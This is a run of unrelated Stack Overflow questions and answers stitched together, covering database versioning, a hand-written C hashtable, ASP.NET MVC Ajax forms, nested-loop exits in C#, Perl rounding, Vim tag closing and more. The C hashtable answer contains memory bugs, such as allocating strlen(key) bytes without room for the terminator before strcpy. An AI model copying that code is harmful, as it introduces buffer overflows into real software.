<p>I'd use <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=bb3ad767-5f69-4db9-b1c9-8f55759846ed&amp;displaylang=en" rel="nofollow noreferrer">Microsoft® Visual Studio Team System 2008 Database Edition GDR</a>. Which scripts every object in it's own file so makes it easy to track in version control.</p> <p>For developers that don't want to use the tool let them develop in Management Studio and then use the Schema Compare tool in Database Edition to automatically extract out the changes from their development database into the project files when they are ready to check-in.</p> <p>You may be able to write some (cunning) Visual Studio macros to do the Schema Compare automatically with the minimum of clicking for developers.</p>
<p>Try opening the Server Explorer (View > Server Explorer). You may need to add a connection and then you can to the database tables, right click them and choose "Show table data".</p> <p>0nce you're there you get the Query Designer toolbar and you're able to use the table designers.</p>
20,243
<p>The point of this question is to collect a list of examples of hashtable implementations using arrays in different languages. It would also be nice if someone could throw in a pretty detailed overview of how they work, and what is happening with each example. </p> <p><strong>Edit:</strong> </p> <p>Why not just use the built in hash functions in your specific language? </p> <p>Because we should know how hash tables work and be able to implement them. This may not seem like a super important topic, but knowing how one of the most used data structures works seems pretty important to me. If this is to become the wikipedia of programming, then these are some of the types of questions that I will come here for. I'm not looking for a CS book to be written here. I could go pull Intro to Algorithms off the shelf and read up on the chapter on hash tables and get that type of info. More specifically what I am looking for are <strong>code examples</strong>. Not only for me in particular, but also for others who would maybe one day be searching for similar info and stumble across this page. </p> <p>To be more specific: If you <strong>had</strong> to implement them, and could not use built-in functions, how would you do it? </p> <p>You don't need to put the code here. Put it in pastebin and just link it. </p>
<p>A hash table a data structure that allows lookup of items in constant time. It works by hashing a value and converting that value to an offset in an array. The concept of a hash table is fairly easy to understand, but implementing is obviously harder. I'm not pasting the whole hash table here, but here are some snippets of a hash table I made in C a few weeks ago...</p> <p>One of the basics of creating a hash table is having a good hash function. I used the djb2 hash function in my hash table:</p> <pre><code>int ComputeHash(char* key) { int hash = 5381; while (*key) hash = ((hash &lt;&lt; 5) + hash) + *(key++); return hash % hashTable.totalBuckets; } </code></pre> <p>Then comes the actual code itself for creating and managing the buckets in the table</p> <pre><code>typedef struct HashTable{ HashTable* nextEntry; char* key; char* value; }HashBucket; typedef struct HashTableEntry{ int totalBuckets; // Total number of buckets allocated for the hash table HashTable** hashBucketArray; // Pointer to array of buckets }HashTableEntry; HashTableEntry hashTable; bool InitHashTable(int totalBuckets) { if(totalBuckets &gt; 0) { hashTable.totalBuckets = totalBuckets; hashTable.hashBucketArray = (HashTable**)malloc(totalBuckets * sizeof(HashTable)); if(hashTable.hashBucketArray != NULL) { memset(hashTable.hashBucketArray, 0, sizeof(HashTable) * totalBuckets); return true; } } return false; } bool AddNode(char* key, char* value) { int offset = ComputeHash(key); if(hashTable.hashBucketArray[offset] == NULL) { hashTable.hashBucketArray[offset] = NewNode(key, value); if(hashTable.hashBucketArray[offset] != NULL) return true; } else { if(AppendLinkedNode(hashTable.hashBucketArray[offset], key, value) != NULL) return true; } return false; } HashTable* NewNode(char* key, char* value) { HashTable* tmpNode = (HashTable*)malloc(sizeof(HashTable)); if(tmpNode != NULL) { tmpNode-&gt;nextEntry = NULL; tmpNode-&gt;key = (char*)malloc(strlen(key)); tmpNode-&gt;value = (char*)malloc(strlen(value)); strcpy(tmpNode-&gt;key, key); strcpy(tmpNode-&gt;value, value); } return tmpNode; } </code></pre> <p>AppendLinkedNode finds the last node in the linked list and appends a new node to it.</p> <p>The code would be used like this:</p> <pre><code>if(InitHashTable(100) == false) return -1; AddNode("10", "TEN"); </code></pre> <p>Finding a node is a simple as:</p> <pre><code>HashTable* FindNode(char* key) { int offset = ComputeHash(key); HashTable* tmpNode = hashTable.hashBucketArray[offset]; while(tmpNode != NULL) { if(strcmp(tmpNode-&gt;key, key) == 0) return tmpNode; tmpNode = tmpNode-&gt;nextEntry; } return NULL; } </code></pre> <p>And is used as follows:</p> <pre><code>char* value = FindNode("10"); </code></pre>
<p>I went and read some of the Wikipedia-page on hashing: <a href="http://en.wikipedia.org/wiki/Hash_table" rel="nofollow noreferrer">http://en.wikipedia.org/wiki/Hash_table</a>. It seems like a lot of work, to put up code for a hashtable here, especially since most languages I use allready have them built in. Why would you want implementations here? This stuff really belongs in a languages library.</p> <p>Please elaborate on what your expected solutions should include:</p> <ul> <li>hash function</li> <li>variable bucket count</li> <li>collision behavior</li> </ul> <p>Also state what the purpose of collecting them here is. Any serious implementation will easily be quite a mouthfull = this will lead to very long answers (possibly a few pages long each). You might also be enticing people to copy code from a library...</p>
4,494
<p>I have an ASP.Net MVC Ajax.BeginForm that submits and updates my page properly when I click the submit button. </p> <p>The problem is I need additional events to do the same thing, like when they change the text of an input. The additonal events do properly submit the form but they circumvent the onsubmit javascript generated on the form tag by the Ajax.BeginForm.</p> <p>Here is the form tag generated by Ajax.BeingForm:</p> <pre><code>&lt;form action="/Store/UpdateCart" method="post" onsubmit="Sys.Mvc.AsyncForm.handleSubmit(this, new Sys.UI.DomEvent(event), { insertionMode: Sys.Mvc.InsertionMode.replace, updateTargetId: 'updatedContent' });"&gt; </code></pre> <p>And here is the jQuery to bind my other events that need to submit the form via Ajax:</p> <pre><code> $("#ShippingType, #ViewCart .ddl").bind("change", function() { $("#ViewCartPage form").submit() }); </code></pre> <p>Any ideas on how to get these additional events to trigger onsubmit like I need it too?</p>
<p>Decided to just use a regular form and then the jQuery.Form plugin and this worked in 2 seconds! Wish i would have just went this route orginally.</p> <pre><code>var options = { target: '#updatedContent', // target element(s) to be updated with server response beforeSubmit: showRequest, // pre-submit callback success: showResponse // post-submit callback }; $('#ViewCartPage form').ajaxForm(options); </code></pre> <p>Man I love jQuery</p>
<p>This is a bit of a tricky issue in the current Beta of MVC. You can't use the "submit()" function because it won't trigger the onsubmit handler. Instead, you should call the onsubmit handler directly. The only trick is you need to pass an argument to onsubmit() when you call it. This argument is what becomes the "event" parameter in the handler (see the "new Sys.UI.DomEvent(event)" part). The "event" parameter is used by the MVC Ajax scripts to cancel the default behaviour, when you click the Submit button so that the Ajax stuff can happen uninterrupted.</p> <p>So, if you change your code to this:</p> <pre><code>$("#ShippingType, #ViewCart .ddl").bind("change", function() { $("#ViewCartPage form").onsubmit({ preventDefault: function() {} }) }); </code></pre> <p>The onsubmit() event will be triggered when the form fields change. The code creates a "fake" event object that implements the preventDefault() method (which is the only one the MVC Ajax helpers use) so you don't get errors.</p>
33,244
<p>If I have a for loop which is nested within another, how can I efficiently come out of both loops (inner and outer) in the quickest possible way?</p> <p>I don't want to have to use a boolean and then have to say go to another method, but rather just to execute the first line of code after the outer loop.</p> <p>What is a quick and nice way of going about this?</p> <p>I was thinking that exceptions aren't cheap/should only be thrown in a truly exceptional condition etc. Hence I don't think this solution would be good from a performance perspective.</p> <p>I don't feel it it is right to take advantage of the newer features in .NET (anon methods) to do something which is pretty fundamental.</p>
<p>Well, <code>goto</code>, but that is ugly, and not always possible. You can also place the loops into a method (or an anon-method) and use <code>return</code> to exit back to the main code.</p> <pre><code> // goto for (int i = 0; i &lt; 100; i++) { for (int j = 0; j &lt; 100; j++) { goto Foo; // yeuck! } } Foo: Console.WriteLine("Hi"); </code></pre> <p>vs:</p> <pre><code>// anon-method Action work = delegate { for (int x = 0; x &lt; 100; x++) { for (int y = 0; y &lt; 100; y++) { return; // exits anon-method } } }; work(); // execute anon-method Console.WriteLine("Hi"); </code></pre> <hr> <p>Note that in C# 7 we should get "local functions", which (syntax tbd etc) means it should work something like:</p> <pre><code>// local function (declared **inside** another method) void Work() { for (int x = 0; x &lt; 100; x++) { for (int y = 0; y &lt; 100; y++) { return; // exits local function } } }; Work(); // execute local function Console.WriteLine("Hi"); </code></pre>
<p>I think unless you want to do the "boolean thing" the only solution is actually to throw. Which you obviously shouldn't do..!</p>
42,064
<p>How can I round a decimal number (floating point) to the nearest integer? </p> <p>e.g.</p> <pre><code>1.2 = 1 1.7 = 2 </code></pre>
<p>Output of <a href="http://perldoc.perl.org/perlfaq4.html#Does-Perl-have-a-round%28)-function%3f--What-about-ceil()-and-floor()%3f--Trig-functions%3f" rel="noreferrer"><code>perldoc -q round</code></a></p> <blockquote> Does Perl have a round() function? What about ceil() and floor()? Trig functions? <p> Remember that <a href="http://perldoc.perl.org/functions/int.html" rel="noreferrer"><code>int()</code></a> merely truncates toward <code>0</code>. For rounding to a certain number of digits, <a href="http://perldoc.perl.org/functions/sprintf.html" rel="noreferrer"><code>sprintf()</code></a> or <a href="http://perldoc.perl.org/functions/printf.html" rel="noreferrer"><code>printf()</code></a> is usually the easiest route. <p> <pre><code> printf("%.3f", 3.1415926535); # prints 3.142 </code></pre> <p> The <a href="http://perldoc.perl.org/POSIX.html" rel="noreferrer"><code>POSIX</code></a> module (part of the standard Perl distribution) implements <code>ceil()</code>, <code>floor()</code>, and a number of other mathematical and trigonometric functions. <p> <pre><code> use POSIX; $ceil = ceil(3.5); # 4 $floor = floor(3.5); # 3 </code></pre> <p> In 5.000 to 5.003 perls, trigonometry was done in the <a href="http://perldoc.perl.org/Math/Complex.html" rel="noreferrer"><code>Math::Complex</code></a> module. With 5.004, the <a href="http://perldoc.perl.org/Math/Trig.html" rel="noreferrer"><code>Math::Trig</code></a> module (part of the standard Perl distribution) implements the trigonometric functions. Internally it uses the <a href="http://perldoc.perl.org/Math/Complex.html" rel="noreferrer"><code>Math::Complex</code></a> module and some functions can break out from the real axis into the complex plane, for example the inverse sine of 2. <p> Rounding in financial applications can have serious implications, and the rounding method used should be specified precisely. In these cases, it probably pays not to trust whichever system rounding is being used by Perl, but to instead implement the rounding function you need yourself. <p> To see why, notice how you'll still have an issue on half-way-point alternation: <p> <pre><code> for ($i = 0; $i &lt; 1.01; $i += 0.05) { printf "%.1f ",$i} 0.0 0.1 0.1 0.2 0.2 0.2 0.3 0.3 0.4 0.4 0.5 0.5 0.6 0.7 0.7 0.8 0.8 0.9 0.9 1.0 1.0 </code></pre> <p> Don't blame Perl. It's the same as in C. IEEE says we have to do this. Perl numbers whose absolute values are integers under <code>2**31</code> (on 32 bit machines) will work pretty much like mathematical integers. Other numbers are not guaranteed. </p> </blockquote>
<pre><code>cat table | perl -ne '/\d+\s+(\d+)\s+(\S+)/ &amp;&amp; print "".**int**(log($1)/log(2))."\t$2\n";' </code></pre>
21,519
<p>The CSS Friendly Control Adapters for ASP.NET are great for creating markup that is easy to style. A big benefit of the GridView adapter is that it generates THEAD, TBODY, and TFOOT tags, which allow you to do some really great things with libraries like jQuery - for instance, <a href="http://tablesorter.com/docs/" rel="nofollow noreferrer">Tablesorter</a> for client-side table sorting.</p> <p>The problem is that it seems to be a global on/off for the adapters through the CSSFriendlyAdapters.browser file. What do I do if I already have a slew of GridViews currently in production and only want to use the CSS Friendly Adapters for a new one?</p> <p>So I would be interested in two types of solutions:</p> <p>1) A way to extend or modify GridView (a new tag is acceptable) to output THEAD and TBODY tags.</p> <p>2) A way to conditionally apply or disable CSS Friendly Control Adapters.</p>
<p>I just did something similar to this after doing a little research</p> <p>you need to subclass the control you want to use (gridview in your case, radiobuttonlist in my case)</p> <pre><code>public class UlRadioButtonList : RadioButtonList { protected override void Render(System.Web.UI.HtmlTextWriter writer) { // Call the base RenderContents method. base.Render(writer); } } </code></pre> <p>Then just have the .browser file refer to your custom subclass, instead of the asp.net control</p> <p>e.g.</p> <pre><code>&lt;browsers&gt; &lt;browser refID="Default"&gt; &lt;controlAdapters&gt; &lt;adapter controlType="FM.Web.Source.WebControls.UlRadioButtonList" adapterType="FM.Web.Source.ControlAdapters.RadioButtonListAdapter" /&gt; &lt;/controlAdapters&gt; &lt;/browser&gt; &lt;/browsers&gt; </code></pre>
<p>CSS Friendly...</p> <blockquote> <p>Disabling Adapters</p> <p>If you explicitly add AdapterEnabled="false" to your server-side tag, these sample adapters will attempt to use the ASP.NET framework's native rendering for the control. Beware: this is not supported and often does not work well. Fundamentally, the framework does not support disabling adapters on a per control basis. The AdapterEnabled attribute is only intended to be used experimentally.</p> </blockquote> <p><a href="http://www.asp.net/cssadapters/WhitePaper.aspx#Samples" rel="nofollow noreferrer">Source</a></p> <p>Alternatively, you can create a class that derives from GridView and overrides the RenderChildren method. It may take some experimentation to figure out how to make this work. I haven't looked at how the controls are presented in the GridView to give you any ideas in this regard. Presumably, you'll just need to figure out which rows are header/foot and render / around them and around the others.</p>
34,643
<p>Trying to make a MySQL-based application support MS SQL, I ran into the following issue:</p> <p>I keep MySQL's auto_increment as unsigned integer fields (of various sizes) in order to make use of the full range, as I know there will never be negative values. MS SQL does not support the unsigned attribute on all integer types, so I have to choose between ditching half the value range or creating some workaround.</p> <p>One very naive approach would be to put some code in the database abstraction code or in a stored procedure that converts between negative values on the db side and values from the larger portion of the unsigned range. This would mess up sorting of course, and also it would not work with the auto-id feature (or would it some way?).</p> <p>I can't think of a <em>good</em> workaround right now, is there any? Or am I just being fanatic and should simply forget about half the range?</p> <p><i>Edit:<br> @Mike Woodhouse: Yeah, I guess you're right. There's still a voice in my head saying that maybe I could reduce the field's size if I optimize its utilization. But if there's no easy way to do this, it's probably not worth worrying about it.</i></p>
<p>When is the problem likely to become a real issue?</p> <p>Given current growth rates, how soon do you expect signed integer overflow to happen in the MS SQL version?</p> <p>Be pessimistic.</p> <p>How long do you expect the application to live?</p> <p>Do you still think the factor of 2 difference is something you should worry about?</p> <p>(I have no idea what the answers are, but I think we should be sure that we really have a problem before searching any harder for a solution)</p>
<p>I would say this.. "How do we normally deal with differences between components?"</p> <p><strong>Encapsulate what varies</strong>..</p> <p>You need to create an abstraction layer within you data access layer to get it to the point where it <em>doesn't care</em> whether or not the database is MySQL or MS SQL..</p>
4,942
<p>It's been a while since I've had to do any HTML-like code in <code>Vim</code>, but recently I came across this again. Say I'm writing some simple <code>HTML</code>:</p> <pre><code>&lt;html&gt;&lt;head&gt;&lt;title&gt;This is a title&lt;/title&gt;&lt;/head&gt;&lt;/html&gt; </code></pre> <p>How do I write those closing tags for title, head and html down quickly? I feel like I'm missing some really simple way here that does not involve me going through writing them all down one by one.</p> <p>Of course I can use <kbd>Ctrl</kbd><kbd>P</kbd> to autocomplete the individual tag names but what gets me on my laptop keyboard is actually getting the brackets and slash right.</p>
<p>Check this out..</p> <p>closetag.vim </p> <pre><code>Functions and mappings to close open HTML/XML tags </code></pre> <p><a href="https://www.vim.org/scripts/script.php?script_id=13" rel="nofollow noreferrer">https://www.vim.org/scripts/script.php?script_id=13</a></p> <p>I use something similar.</p>
<p>allml (now Ragtag ) and Omni-completion ( &lt;C-X&gt;&lt;C-O&gt; ) doesn't work in a file like .py or .java.</p> <p>if you want to close tag automatically in those file, you can map like this.</p> <pre> imap &lt;C-j&gt; &lt;ESC&gt;F&lt;lyt&gt;$a&lt;/^R"&gt; </pre> <p>( ^R is Contrl+R : you can type like this Control+v and then Control+r )</p> <p>(| is cursor position ) now if you type..</p> <p>&lt;p&gt;abcde|</p> <p>and type ^j</p> <p>then it close the tag like this..</p> <p>&lt;p&gt;abcde&lt;/p&gt;|</p>
15,878